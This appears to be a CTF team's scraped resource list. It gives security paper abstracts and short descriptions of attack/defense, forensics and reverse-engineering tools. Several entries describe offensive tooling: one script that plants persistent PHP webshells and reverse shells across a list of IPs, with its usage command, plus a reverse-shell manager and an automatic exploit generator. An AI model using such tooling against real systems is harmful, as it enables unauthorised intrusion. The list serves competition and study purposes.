+Comments: Accepted to ACM CCS 2021
+Subjects: Cryptography and Security (cs.CR)
+The proliferation of Internet of Things (IoT) devices has made people's lives more convenient, but it has also raised many security concerns. Due to the difficulty of obtaining and emulating IoT firmware, the black-box fuzzing of IoT devices has become a viable option. However, existing black-box fuzzers cannot form effective mutation optimization mechanisms to guide their testing processes, mainly due to the lack of feedback. It is difficult or even impossible to apply existing grammar-based fuzzing strategies. Therefore, an efficient fuzzing approach with syntax inference is required in the IoT fuzzing domain. To address these critical problems, we propose a novel automatic black-box fuzzing for IoT firmware, termed Snipuzz. Snipuzz runs as a client communicating with the devices and infers message snippets for mutation based on the responses. Each snippet refers to a block of consecutive bytes that reflect the approximate code coverage in fuzzing. This mutation strategy based on message snippets considerably narrows down the search space to change the probing messages. We compared Snipuzz with four state-of-the-art IoT fuzzing approaches, i.e., IoTFuzzer, BooFuzz, Doona, and Nemesys. Snipuzz not only inherits the advantages of app-based fuzzing (e.g., IoTFuzzer, but also utilizes communication responses to perform efficient mutation. Furthermore, Snipuzz is lightweight as its execution does not rely on any prerequisite operations, such as reverse engineering of apps. We also evaluated Snipuzz on 20 popular real-world IoT devices. Our results show that Snipuzz could identify 5 zero-day vulnerabilities, and 3 of them could be exposed only by Snipuzz. All the newly discovered vulnerabilities have been confirmed by their vendors.
+PDF: Snipuzz Black-box Fuzzing of IoT Firmware via Message Snippet Inference.pdf
+ + + + + + + + +[Submitted on 2 Aug 2018]
+Authors: Zhenghao Hu, Yu Hu, Brendan Dolan-Gavitt
+Subjects: Cryptography and Security (cs.CR)
+Sophisticated attackers find bugs in software, evaluate their exploitability, and then create and launch exploits for bugs found to be exploitable. Most efforts to secure software attempt either to eliminate bugs or to add mitigations that make exploitation more difficult. In this paper, we introduce a new defensive technique called chaff bugs, which instead target the bug discovery and exploit creation stages of this process. Rather than eliminating bugs, we instead add large numbers of bugs that are provably (but not obviously) non-exploitable. Attackers who attempt to find and exploit bugs in software will, with high probability, find an intentionally placed non-exploitable bug and waste precious resources in trying to build a working exploit. We develop two strategies for ensuring non-exploitability and use them to automatically add thousands of non-exploitable bugs to real-world software such as nginx and libFLAC; we show that the functionality of the software is not harmed and demonstrate that our bugs look exploitable to current triage tools. We believe that chaff bugs can serve as an effective deterrent against both human attackers and automated Cyber Reasoning Systems (CRSes).
+Chaff CTF: https://ctftime.org/event/1445
+PDF: Chaff Bugs Deterring Attackers by Making Software Buggier.pdf
+ + + + + + + + +Authors: Duc Bui, Yuan Yao, Kang G. Shin, Jong-Min Choi, Junbum Shin
+While privacy laws and regulations require apps and services to disclose the purposes of their data collection to the users (i.e., why do they collect my data?), the data usage in an app’s actual behavior does not always comply with the purposes stated in its privacy policy. Automated techniques have been proposed to analyze apps’ privacy policies and their execution behavior, but they often overlooked the purposes of the apps’ data collection, use and sharing. To mitigate this oversight, we propose PurPliance, an automated system that detects the inconsistencies between the data-usage purposes stated in a natural language privacy policy and those of the actual execution behavior of an Android app. PurPliance analyzes the predicate-argument structure of policy sentences and classifies the extracted purpose clauses into a taxonomy of data purposes. Purposes of actual data usage are inferred from network data traffic. We propose a formal model to represent and verify the data usage purposes in the extracted privacy statements and data flows to detect policy contradictions in a privacy policy and flow-to-policy inconsistencies between network data flows and privacy statements. Our evaluation results of end-to-end contradiction detection have shown PurPliance to improve detection precision from 19% to 95% and recall from 10% to 50% compared to a state-of-the-art method. Our analysis of 23.1k Android apps has also shown PurPliance to detect contradictions in 18.14% of privacy policies and flow-topolicy inconsistencies in 69.66% of apps, indicating the prevalence of inconsistencies of data practices in mobile apps.
+PDF: Consistency Analysis of Data-Usage Purposes in Mobile Apps.pdf
+ + + + + + + + +[Submitted on 18 Oct 2019 (v1), last revised 10 Sep 2021 (this version, v4)]
+Authors: Marco Patrignani, Marco Guarnieri
+Subjects: Programming Languages (cs.PL)
+Attackers can access sensitive information of programs by exploiting the side-effects of speculatively-executed instructions using Spectre attacks. To mitigate theses attacks, popular compilers deployed a wide range of countermeasures. The security of these countermeasures, however, has not been ascertained: while some of them are believed to be secure, others are known to be insecure and result in vulnerable programs. To reason about the security guarantees of these compiler-inserted countermeasures, this paper presents a framework comprising several secure compilation criteria characterizing when compilers produce code resistant against Spectre attacks. With this framework, we perform a comprehensive security analysis of compiler-level countermeasures against Spectre attacks implemented in major compilers. This work provides sound foundations to formally reason about the security of compiler-level countermeasures against Spectre attacks as well as the first proofs of security and insecurity of said countermeasures.
+Spectre attack: https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)
+Meltdown and Spectre: https://meltdownattack.com/
+Authors: Vasilakis, Nikos and Staicu, Cristian-Alexandru and Ntousakis, Grigoris and Kallas, Konstantinos and Karel, Ben and DeHon, André and Pradel, Michael
+In: 28th ACM Conference on Computer and Communications Security (CCS 2021).
+Conference: CCS ACM Conference on Computer and Communications Security
+Third-party libraries ease the development of large-scale software systems. However, libraries often execute with significantly more privilege than needed to complete their task. Such additional privilege is sometimes exploited at runtime via inputs passed to a library, even when the library itself is not actively malicious. We present Mir, a system addressing dynamic compromise by introducing a fine-grained read-write-execute (RWX) permission model at the boundaries of libraries: every field of every free variable name in the context of an imported library is governed by a permission set. To help specify the permissions given to existing code, Mir’s automated inference generates default permissions by analyzing how libraries are used by their clients. Applied to over 1,000 JavaScript libraries for Node.js, Mir shows practical security (61/63 attacks mitigated), performance (2.1s for static analysis and +1.93% for dynamic enforcement), and compatibility (99.09%) characteristics and enables a novel quantification of privilege reduction.
+PDF: Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction.pdf
+ + + + + + + + +Published 2021
+Authors: Gr'egoire Menguy, Sébastien Bardin, Richard Bonichon, Cauim de Souza de Lima
+Code obfuscation aims at protecting Intellectual Property and other secrets embedded into software from being retrieved. Recent works leverage advances in artificial intelligence (AI) with the hope of getting blackbox deobfuscators completely immune to standard (whitebox) protection mechanisms. While promising, this new field of AI-based, and more specifically search-based blackbox deobfuscation, is still in its infancy. In this article we deepen the state of search-based blackbox deobfuscation in three key directions: understand the current state-of-the-art, improve over it and design dedicated protection mechanisms. In particular, we define a novel generic framework for search-based blackbox deobfuscation encompassing prior work and highlighting key components; we are the first to point out that the search space underlying code deobfuscation is too unstable for simulation-based methods (e.g., Monte Carlo Tree Search used in prior work) and advocate the use of robust methods such as S-metaheuristics; we propose the new optimized search-based blackbox deobfuscator Xyntia which significantly outperforms prior work in terms of success rate (especially with small time budget) while being completely immune to the most recent anti-analysis code obfuscation methods; and finally we propose two novel protections against search-based blackbox deobfuscation, allowing to counter Xyntia powerful attacks.
+PDF: Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate.pdf
+ + + + + + + + +一个自动化写入php不死马/进程守护马,批量获得flag的线下赛工具
+脚本会每隔360秒从files/payload.txt取出攻击向量,攻击files/ip.txt中的每个ip,如果可以写入webshell,则写入不死马和进程守护。返回不死马的地址和进程守护反弹的端口。如果不可以写webshell,则根据配置读取flag。
+python attack.py -t 360 -r 192.168.1.1 -i 3
+
+├── attack.py 主程序
+├── files
+│ ├── door.txt 不死马文件
+│ ├── flag.txt 没有用的文件
+│ ├── ip.txt 攻击的ip
+│ └── payload.txt 配置文件
+├── lib
+│ ├── kekong.py 进程守护马文件
+│ └── ua.txt ua头文件
+├── 其他 模块文件
+└── README.txt 本文件
+
+Github repo: https://github.com/Hecbi/awd_auto_attack
+ + + + + + + + +A general defense platform for AWD.
+参考构建流程简介进行操作: BUILD.md
+用于记录庞大的流量文件的数据库,是整个系统的核心存储。
+Vue编写的Web前端,用来浏览日志,产生报警动画等可视化展示。
+是整个系统运行的核心,负责探针数据收集入库、插件生命周期管理、Web前端托管服务。
+AoiAWD: Data Visualization Tool & Main Server
+Usage: ./aoiawd.phar [OPTIONS]
+ -w [URI] HTTP server bind URI. Default: tcp://0.0.0.0:1337
+ -l [URI] Log recoard server bind URI. Default: tcp://0.0.0.0:8023
+ -m [URI] MongoDB server URI. Default: mongodb://127.0.0.1:27017
+ -t [STRING] Access token. Default: [RANDOM]
+ -h This help info
+
+[2020-09-24 15:21:21] MainServer.notice: AccessToken: 0de8d57b3e91dc66 [] [] #<-- Web访问密钥
+...
+[2020-09-24 15:21:21] Amp\Http\Server\Server.info: Listening on http://0.0.0.0:1337/ [] [] #<-- Web前端地址
+[2020-09-24 15:21:21] aoicommon\socket\AsyncTCPServer.info: Listening on 0.0.0.0:8023 [] [] #<-- 探针上线地址
+
+一个二进制PWN的影子外壳,其原理是包裹在PWN题目外侧,在每次被启动的时候透明记录STDIN与STDOUT的流量,并快照PWN程序的内存结构(/proc/????/mem)上传回AoiAWD Core。
+Guardian: AoiAWD ELF PWNMonitor Tool
+Usage: ./guardian.phar [PATH]
+ -i [PATH] Original ELF.
+ -o [PATH] Path of patched ELF. Default: {$OriginalELF}.guardianed
+ -s [URI] Log recoard server URI. Default: 127.0.0.1:8023
+ -h This help info
+
+一个PHP Web的影子外壳,其原理是自动注入到所有PHP文件的头部,支持输入输出流量的抓取与上报,同时具有处理输出数据的能力,实现输出内容篡改。
+TapeWorm: AoiAWD PHP WebMonitor Tool
+Usage: ./tapeworm.phar [PATH]
+ -d [PATH] WebMonitor inject dir.
+ -s [URI] Log recoard server URI. Default: 127.0.0.1:8023
+ -f [PATH] Inject file path. Default: {$dir}
+ -h This help info
+
+一个监控文件系统和进程的系统行为监视器,其原理是扫描/proc文件夹获取当前正在运行的所有进程的信息,以及利用Linux系统的inotify功能对指定文件夹的敏感文件操作进行全面的记录。
+RoundWorm: AoiAWD Filesystem & Process Monitor Tool
+Usage: ./roundworm [OPTIONS]
+ -d Running in daemon mode.
+ -s [HOST] AoiAWD Probe IP. Default: 127.0.0.1
+ -p [PORT] AoiAWD Probe PORT. Default: 8023
+ -w [PATH] Inotify watch dir, ';' as divider. Default: /tmp
+ -i [MSECOND] Process watch interval. Default: 100
+ -h This help info
+
+在常见的AWD比赛中,选手往往拥有一台(或若干台)开放了SSH服务和题目服务的“靶机”作为自己防守的阵地。
+在实际比赛中,主办方往往会限制选手的SSH权限到一般用户/仅可管理题目的权限。并且针对一些常见的通用防火墙脚本(通防脚本)进行轮询式check。
+AoiAWD是针对以上场景的限制和痛点设计的,组件间基于socket通信以便灵活部署,具有图形可视化界面。所有行为探针均支持在最低系统权限下运行,且默认不会干扰题目业务逻辑的正常运行,可以绕过绝大部分check脚本的行为检查。支持如下维度的行为捕获能力:
+本系统还内置了生命周期钩子,可以针对某一次行为的产生编写特定的插件去实现流量层面的临时热补丁、增加大屏告警、替换输出字符等操作。系统默认内置了如下插件可供参考:
+AoiAWD 分为六个组件,组件间互相配合实现系统的完整功能
+Github repo: https://github.com/DasSecurity-HatLab/AoiAWD
+ + + + + + + + +Auto-AWD will auto run the payload and submit flag to platform every round
+Just install python packages: pipenv install
config.template.yml
python awd.py
Github repo: https://github.com/XuCcc/Auto-AWD#getting-started
+ + + + + + + + +一个集中管理反弹 Shell 的程序,监听一个端口,然后所有的反弹 Shell 都连到这个端口。
+如果同时有很多服务器的反弹 Shell 要连,就要开很多个 nc 监听,这样会很麻烦,因此就做了这个项目。
+ + +Github repo: https://github.com/restran/shellcat
+ + + + + + + + +The script to submit flag in the bunch.
+python(2/3)
+requests
+pwntools
+modify quick_exp.py
, then run python quick_exp.py
.
Github repo: https://github.sre.pub/0xaww/awd-submit-flag
+ + + + + + + + +A powerful PHP WAF for AWD
+ +php watchbird.php --install [Web目录]
, 安装器将输出安装了watchbird的文件路径?watchbird=ui
打开watchbird控制台, 创建一个初始密码php watchbird.php --uninstall [Web目录]
, 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出git clone https://github.com/leohearts/awd-watchbird.git
pyhton3 pack.py
将源码打包为单文件Github repo: https://github.sre.pub/leohearts/awd-watchbird
+ + + + + + + + +TCP flow analyzer with sugar for Attack/Defense CTF
+Flower is an automatic packet analyzer made by Ca' Foscari University team for the CyberChallenge attack/defense CTF held in Rome on June 27th, 2018.
+This tool was written in less than ten days, but it works! Every contribution is welcome!
+Presentation of Flower (from min 7:30), and general introduction to CTFs at ESC2K18 in Italian:
+ +k
and j
to navigate the list)Clone the repo, enter in the directory, and just run docker-compose up
, and after a while, you will find flower at http://localhost:3000.
For the flag regex, modify REACT_APP_FLAG_REGEX
in docker-compose.yml
.
The build will automatically import the test pcaps.
+To enter in the service to import other pcaps, run docker exec -it flower_flower-python_1 /bin/bash
(if the flower is in a folder with a different name, modify the prefix after -it
). The container shares the /shared
folder with the host. Put the pcap files inside this folder and use python services/importer.py /shared/pcap_file_here
from the container to import pcaps to flower.
git clone https://github.com/secgroup/flower
+ cd flower
+ npm install
+ pip install -r services/requirements.txt
(Optional) Set the following environment variables:
+REACT_APP_FLOWER_MONGO
IP of the host that will have flower db active (MongoDB)
REACT_APP_FLOWER_SERVICES
IP of the host that will have services activeREACT_APP_FLAG_REGEX
regex that matches flags.
Mongodb is required on the same machine that run the services. To start it: sudo mongod --dbpath /path/to/mongodb/db --bind_ip 0.0.0.0
./run.sh
cd services
+ ./run_ws.sh
Once everything has been started, the flower should be accessible at the address of the machine that started it on port 3000.
+You must first install pynids from here. The pip version is outdated! Good luck with the installation. Then, you can import pcaps into MongoDB by executing the provided script importer.py
as follows:
cd services
+./importer.py pcap_file.pcap
+
+You can find a test_pcap in services/test_pcap
. For a quick demo, run ./importer.py test_pcap/dump-2018-06-27_13:25:31.pcap
If you are going to use the flower in a CTF, remember to set up the firewall in the most appropriate way, as the current implementation does not use other security techniques.
+++If you ignore this, everybody will be able to connect to your database and steal all your flags!
+
Github repo: https://news.topnotch.works/host-https-github.com/secgroup/flower
+ + + + + + + + +A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications. It also makes working with an app easier because of the project like file structure and automation of some repetitive tasks like building apk, etc.
+It is NOT intended for piracy and other non-legal uses. It could be used for localizing, adding some features or support for custom platforms, analyzing applications and much more.
+$ apktool d test.apk
+I: Using Apktool 2.7.0 on test.apk
+I: Loading resource table...
+I: Decoding AndroidManifest.xml with resources...
+I: Loading resource table from file: 1.apk
+I: Regular manifest package...
+I: Decoding file-resources...
+I: Decoding values */* XMLs...
+I: Baksmaling classes.dex...
+I: Copying assets and libs...
+I: Copying unknown files...
+I: Copying original files...
+$ apktool b test
+I: Using Apktool 2.7.0 on test
+I: Checking whether sources has changed...
+I: Smaling smali folder into classes.dex...
+I: Checking whether resources has changed...
+I: Building resources...
+I: Building apk file...
+I: Copying unknown files/dir...
+
+resources.arsc
, classes.dex
, 9.png.
and XMLs
)2.1.0
in favor of IdeaSmali)https://ibotpeaches.github.io/Apktool/
+https://github.com/iBotPeaches/Apktool
+ + + + + + + + +LDPlayer is a free Android emulator to play mobile games on a PC with a mouse and keyboard. It provides the fastest performance for Android gaming.
+https://en.ldplayer.net/
+ + + + + + + + +Tools to work with android .dex and java .class files.
+++sh d2j-dex2jar.sh -f ~/path/to/apk_to_decompile.apk
+
And the output file will be apk_to_decompile-dex2jar.jar
.
https://github.com/pxb1988/dex2jar
+ + + + + + + + +jadx - Dex to Java decompiler
+Command line and GUI tools for producing Java source code from Android Dex and Apk files
+❗❗❗ Please note that in most cases jadx can't decompile all 100% of the code, so errors will occur. Check Troubleshooting guide for workarounds
+Main features:
+AndroidManifest.xml
and other resources from resources.arsc
jadx-gui features:
+Jadx-gui key bindings can be found here
+See these features in action here: jadx-gui features overview
+ +After download unpack zip file go to bin
directory and run:
jadx
- command line versionjadx-gui
- UI versionOn Windows run .bat
files with double-click
+Note: ensure you have installed Java 11 or later 64-bit version. For Windows, you can download it from oracle.com (select x64 Installer).
sudo pacman -S jadx
brew install jadx
flatpak install flathub com.github.skylot.jadx
You can use jadx in your java projects, check details on wiki page
+JDK 8 or higher must be installed:
+git clone https://github.com/skylot/jadx.git
+cd jadx
+./gradlew dist
+
+(on Windows, use gradlew.bat
instead of ./gradlew
)
Scripts for run jadx will be placed in build/jadx/bin
and also packed to build/jadx-<version>.zip
https://github.com/skylot/jadx
+ + + + + + + + +BlackArch Linux is an Arch Linux-based penetration testing distribution for penetration testers and security researchers. The repository contains 2840 tools. You can install tools individually or in groups. BlackArch Linux is compatible with existing Arch installs. For more information, see the installation instructions. Also, news is published on our blog.
+Please note that BlackArch is a relatively new project. To report bugs and request new tools, please visit the issue tracker on Github, stop by Matrix, or email us.
+The BlackArch Full ISO contains multiple window managers. The BlackArch Slim ISO features the XFCE Desktop Environment. Below you will find screenshots of a few of them.
+https://blackarch.org/
+ + + + + + + + +⚡ Automatically decrypt encryptions without knowing the key or cipher, decode encodings, and crack hashes ⚡
+Input encrypted text, get the decrypted text back.
+++"What type of encryption?"
+
That's the point. You don't know, you just know it's possibly encrypted. Ciphey will figure it out for you.
+Ciphey can solve most things in 3 seconds or less.
+ +Ciphey aims to be a tool to automate a lot of decryptions & decodings such as multiple base encodings, classical ciphers, hashes or more advanced cryptography.
+If you don't know much about cryptography, or you want to quickly check the ciphertext before working on it yourself, Ciphey is for you.
+The technical part. Ciphey uses a custom built artificial intelligence module (AuSearch) with a Cipher Detection Interface to approximate what something is encrypted with. And then a custom-built, customisable natural language processing Language Checker Interface, which can detect when the given text becomes plaintext.
+No neural networks or bloated AI here. We only use what is fast and minimal.
+And that's just the tip of the iceberg. For the full technical explanation, check out our documentation.
+https://github.com/Ciphey/Ciphey
+ + + + + + + + +Used to attack RSA when the exponent is too small or too large.
+GitHub repo: https://github.com/pablocelayes/rsa-wiener-attack
+ + + + + + + + +SageMathCell project is an easy-to-use web interface to a free open-source mathematics software system SageMath. You can help SageMath by becoming a sponsor.
+It allows embedding Sage computations into any webpage: check out our short instructions, a comprehensive description of capabilities, or Notebook Player to convert Jupyter notebooks into dynamic HTML pages!
+Resources for your computation are provided by Departamento de Matemáticas, Universidad Autónoma de Madrid. You can also set up your own server.
+https://sagecell.sagemath.org/
+ + + + + + + + +Crack hash to find the plain text.
+Official link: https://hashcat.net/hashcat/
+ + + + + + + + +Some of the blind watermark challenges have 2 very similar pictures.
+But occasionally, we don't have the origin picture.
+GitHub repo: https://github.com/guofei9987/blind_watermark
+ + + + + + + + +Check the system calls for process under Windows system.
+Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements including rich and non-destructive filtering, comprehensive event properties such as session IDs and user names, reliable process information, full thread stacks with integrated symbol support for each operation, simultaneous logging to a file, and much more. Its uniquely powerful features will make Process Monitor a core utility in your system troubleshooting and malware hunting toolkit.
+Official document: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
+Download: https://download.sysinternals.com/files/ProcessMonitor.zip
+ + + + + + + + +Yet another PCAP file monitor.
+TraceWrangler is a network capture file toolkit running on Windows (or on Linux, using WINE) that supports PCAP as well as the new PCAPng file format, which is now the standard file format used by Wireshark. The most prominent use case for TraceWrangler is the easy sanitization and anonymization of PCAP and PCAPng files (sometimes called "trace files", "capture files" or "packet captures"), removing or replacing sensitive data while being easy to use.
+Official link: https://www.tracewrangler.com/
+ + + + + + + + +Network traffic sniffer.
+Wireshark is the world’s foremost and widely-used network protocol analyzer. It lets you see what’s happening on your network at a microscopic level and is the de facto (and often de jure) standard across many commercial and non-profit enterprises, government agencies, and educational institutions. Wireshark development thrives thanks to the volunteer contributions of networking experts around the globe and is the continuation of a project started by Gerald Combs in 1998.
+Official website: https://www.wireshark.org/
+ + + + + + + + +Meta data forensics.
+ExifTool is a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, Lyrics3, as well as the maker notes of many digital cameras by Canon, Casio, DJI, FLIR, FujiFilm, GE, GoPro, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Motorola, Nikon, Nintendo, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.
+Official link: https://exiftool.org/
+ + + + + + + + +Combined file forensics.
+Foremost is a forensic program to recover lost files based on their headers, footers, and internal data structures.
+Foremost can work on image files, such as those generated by dd, Safeback, Encase, etc, or directly on a drive. The headers and footers can be specified by a configuration file or you can use command line switches to specify built-in file types. These built-in types look at the data structures of a given file format allowing for a more reliable and faster recovery.
+Kali foremost description: https://www.kali.org/tools/foremost/
+Download link: https://sourceforge.net/projects/foremost/
+ + + + + + + + +A steganography tool. Used when you can't find any other choices.
+Stegosaurus is a steganography tool that allows embedding arbitrary payloads in Python bytecode (pyc or pyo) files. The embedding process does not alter the runtime behavior or file size of the carrier file and typically results in a low encoding density. The payload is dispersed throughout the bytecode so tools like strings
will not show the actual payload. Python's dis
module will return the same results for bytecode before and after Stegosaurus is used to embed a payload. At this time, no prior work or detection methods are known for this type of payload delivery.
GitHub repo: https://github.com/AngelKitty/stegosaurus
+ + + + + + + + +Image forensics tool.
+#!/bin/bash -ex
+
+wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar
+chmod +x stegsolve.jar
+mkdir bin
+mv stegsolve.jar bin/
+
+Download jar file: http://www.caesum.com/handbook/Stegsolve.jar
+ + + + + + + + +Memory forensics tool.
+The Volatility Framework is a completely open collection of tools, +implemented in Python under the GNU General Public License, for the +extraction of digital artifacts from volatile memory (RAM) samples. +The extraction techniques are performed completely independent of the +system being investigated but offer visibilty into the runtime state +of the system. The framework is intended to introduce people to the +techniques and complexities associated with extracting digital artifacts +from volatile memory samples and provide a platform for further work into +this exciting area of research.
+GitHub repo: https://github.com/volatilityfoundation/volatility
+volatility3: https://github.com/volatilityfoundation/volatility3
+ + + + + + + + +PNG / BMP file forensics tool.
+GitHub repo: https://github.com/zed-0xff/zsteg
+ + + + + + + + +The most advanced Penetration Testing Distribution
+Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics, and Reverse Engineering.
+The Kali Linux penetration testing platform contains a vast array of tools and utilities. From information gathering to final reporting, Kali Linux enables security and IT professionals to assess the security of their systems.
+https://www.kali.org/
+https://www.kali.org/tools
+ + + + + + + + +Break zip password if you don't want to use John the Ripper.
+The software isn't free.
+Advanced ZIP Password Recovery (or AZPR) is a program to recover lost or forgotten passwords to ZIP archives (compressed files) created in programs like WinZip, PKZip etc.
+Official: https://www.elcomsoft.com/help/en/azpr/
+ + + + + + + + +Music programming language.
+Velato is a programming language, created by Daniel Temkin in 2009, which uses MIDI files as source code: the pattern of notes determines commands. Velato offers an unusual challenge to programmer-musicians: to compose a musical piece that, in addition to expressing their aims musically, fills the constraints necessary to compile to a working Velato program. Each song has a secret message: the program it determines when compiled as Velato.
+Official document: http://velato.net/
+Download compiler: http://velato.net/Content/Velato/Velato_0_1.zip
+ + + + + + + + +Used in a floppy disk challenge.
+Open floppy disk image with bochs.
+Bochs is a highly portable open source IA-32 (x86) PC emulator written in C++, that runs on most popular platforms. It includes emulation of the Intel x86 CPU, common I/O devices, and a custom BIOS. Bochs can be compiled to emulate many different x86 CPUs, from early 386 to the most recent x86-64 Intel and AMD processors which may even not reached the market yet. +Bochs is capable of running most Operating Systems inside the emulation including Linux, DOS or Microsoft Windows. Bochs was originally written by Kevin Lawton and is currently maintained by this project. + Bochs can be compiled and used in a variety of modes, some which are still in development. The 'typical' use of bochs is to provide complete x86 PC emulation, including the x86 processor, hardware devices, and memory. This allows you to run OS's and software within the emulator on your workstation, much like you have a machine inside of a machine. For instance, let's say your workstation is a Unix/X11 workstation, but you want to run Win'95 applications. Bochs will allow you to run Win 95 and associated software on your Unix/X11 workstation, displaying a window on your workstation, simulating a monitor on a PC.
+Website: https://bochs.sourceforge.io/
+Download: https://sourceforge.net/projects/bochs/files/bochs/
+ + + + + + + + +Used in various password cracking.
+John the Ripper is free and Open Source software, distributed primarily in source code form. If you would rather use a commercial product, please consider John the Ripper Pro, which is distributed primarily in the form of "native" packages for the target operating systems and in general is meant to be easier to install and use while delivering optimal performance.
+Official website: https://www.openwall.com/john/
+John (jumbo): https://github.com/openwall/john
+The download depends on the system you are using.
+ + + + + + + + +Useful when using some DOS thing.
+A DOS emulator.
+Official website: https://www.qemu.org/download/#windows
+Download: https://qemu.weilnetz.de/w64/
+ + + + + + + + +.
+├── external.txt
+├── PEiD.exe
+├── plugins
+│ ├── GenOEP.dll
+│ ├── ImpREC.dll
+│ ├── kanal.dll
+│ ├── kanal.htm
+│ └── ZDRx.dll
+├── pluginsdk
+│ ├── C++
+│ │ ├── defs.h
+│ │ └── null.c
+│ ├── Delphi
+│ │ └── Sample.dpr
+│ ├── MASM
+│ │ ├── compile.bat
+│ │ ├── masm_plugin.asm
+│ │ └── masm_plugin.def
+│ ├── PowerBASIC
+│ │ └── PEiD_Plugin.bas
+│ └── readme.txt
+├── readme.txt
+└── userdb.txt
+
+Update your signatures (initial file is empty). Replace the initial userdb.txt file with one of these files:
+In some cases, PEiD can find the Original Entry Point (OEP) of a packed executable:
+ +The Windows Debugger (WinDbg) can be used to debug kernel-mode and user-mode code, analyze crash dumps, and examine the CPU registers while the code executes.
+To get started with Windows debugging, see Getting Started with Windows Debugging.
+WinDbg Preview is a new version of WinDbg with more modern visuals, faster windows, and a full-fledged scripting experience. It is built with the extensible object-orientated debugger data model front and center. WinDbg Preview is using the same underlying engine as WinDbg today, so all the commands, extensions, and workflows still work as they did before.
+Get Debugging Tools for Windows (WinDbg) from the SDK: Windows 10 SDK. Use the download link on the Windows 10 SDK page, as the Debugging Tools for Windows are not available as part of Visual Studio.
+If you just need the Debugging Tools for Windows, and not the Windows Driver Kit (WDK) for Windows 10, you can install the debugging tools as a standalone component from the Windows Software Development Kit (SDK).
+In the SDK installation wizard, select Debugging Tools for Windows, and deselect all other components.
+ +If the Windows SDK is already installed, open Settings, navigate to Apps & features, select Windows Software Development Kit, and then select Modify to change the installation to add Debugging Tools for Windows.
+To download the debugger tools for previous versions of Windows, you need to download the Windows SDK for the version you are debugging from the Windows SDK and emulator archive. In the installation wizard of the SDK, select Debugging Tools for Windows, and deselect all other components.
+Learn more about WinDbg and other debuggers in Debugging Tools for Windows (WinDbg, KD, CDB, NTSD).
+ + + + + + + + +WinHex is in its core a universal hexadecimal editor, particularly helpful in the realm of computer forensics, data recovery, low-level data processing, and IT security. An advanced tool for everyday and emergency use: inspect and edit all kinds of files, recover deleted files or lost data from hard drives with corrupt file systems or from digital camera cards. Features depend on the license type (license type comparison), among them:
+Having all the bits and bytes in a computer at your fingertips has become a reality. Try before you buy. Computer forensics edition of WinHex with even more features: X-Ways Forensics.
+ + + + + + + + +Automate exploit generate tool.
+Automatic Exploit Generation (AEG) and remote flag capture for exploitable CTF problems
+This tool uses angr to concolically analyze binaries by hooking printf and looking for unconstrained paths. These program states are then weaponized for remote code execution through pwntools and a series of script tricks. Finally the payload is tested locally then submitted to a remote CTF server to recover the flag.
+GitHub repo: https://github.com/ChrisTheCoolHut/Zeratool
+ + + + + + + + +An open-source x64/x32 debugger for windows.
+Check out the blog!
+https://github.com/x64dbg/x64dbg/wiki
+ + + + + + + + +Bytecode Viewer - a lightweight user-friendly Java/Android Bytecode Viewer, Decompiler & More.
+https://bytecodeviewer.com/
+https://github.com/Konloch/bytecode-viewer
+ + + + + + + + +Detect It Easy, or abbreviated "DIE" is a program for determining types of files.
+"DIE" is a cross-platform application, apart from Windows version there are also available versions for Linux and Mac OS.
+Many programs of the kind (PEID, PE tools) allow to use third-party signatures. Unfortunately, those signatures scan only bytes by the pre-set mask, and it is not possible to specify additional parameters. As the result, false triggering often occur. More complicated algorithms are usually strictly set in the program itself. Hence, to add a new complex detect one needs to recompile the entire project. No one, except the authors themselves, can change the algorithm of a detect. As time passes, such programs lose relevance without the constant support.
+Detect It Easy has totally open architecture of signatures. You can easily add your own algorithms of detects or modify those that already exist. This is achieved by using scripts. The script language is very similar to JavaScript and any person, who understands the basics of programming, will understand easily how it works. Possibly, someone may decide the scripts are working very slow. Indeed, scripts run slower than compiled code, but, thanks to the good optimization of Script Engine, this doesn't cause any special inconvenience. The possibilities of open architecture compensate these limitations.
+DIE exists in three versions. Basic version ("DIE"), Lite version ("DIEL") and console version ("DIEC"). All the three use the same signatures, which are located in the folder "db". If you open this folder, nested sub-folders will be found ("Binary", "PE" and others). The names of sub-folders correspond to the types of files. First, DIE determines the type of file, and then sequentially loads all the signatures, which lie in the corresponding folder. Currently the program defines the following types:
+Download: https://github.com/horsicq/DIE-engine/releases
+Changelog: https://github.com/horsicq/Detect-It-Easy/blob/master/changelog.txt
+https://github.com/horsicq/Detect-It-Easy
+ + + + + + + + +Packer, compressor detector / unpack info / internal exe tools
+Detect : Symbian / Android / Linux / Mac OS - files
+PUP / PUA Applications & Downloaders
+Archives : .zip , .rar , .zlb , .gz , .7 zip , .tar , .cab .is , ...
+http://exeinfo.booomhost.com/
+ + + + + + + + +The best-of-breed binary code analysis tool, an indispensable item in the toolbox of world-class software analysts, reverse engineers, malware analyst and cybersecurity professionals.
+IDA Pro as a disassembler is capable of creating maps of their execution to show the binary instructions that are actually executed by the processor in a symbolic representation (assembly language). Advanced techniques have been implemented into IDA Pro so that it can generate assembly language source code from machine-executable code and make this complex code more human-readable.
+The debugging feature augmented IDA with the dynamic analysis. It supports multiple debugging targets and can handle remote applications. Its cross-platform debugging capability enables instant debugging, easy connection to both local and remote processes and support for 64-bit systems and new connection possibilities.
+ + + + + + + + + +Based on the original Win10 Workstation 21H2 x64 image (not available for ARM devices).
+Complete installation of WSL Kali Linux 2022.3.
+streamline the software that comes with the system, beautify the fonts and some icons, and moderate optimization.
+using single-disk file storage to improve performance.
+Recommended runtime environment:
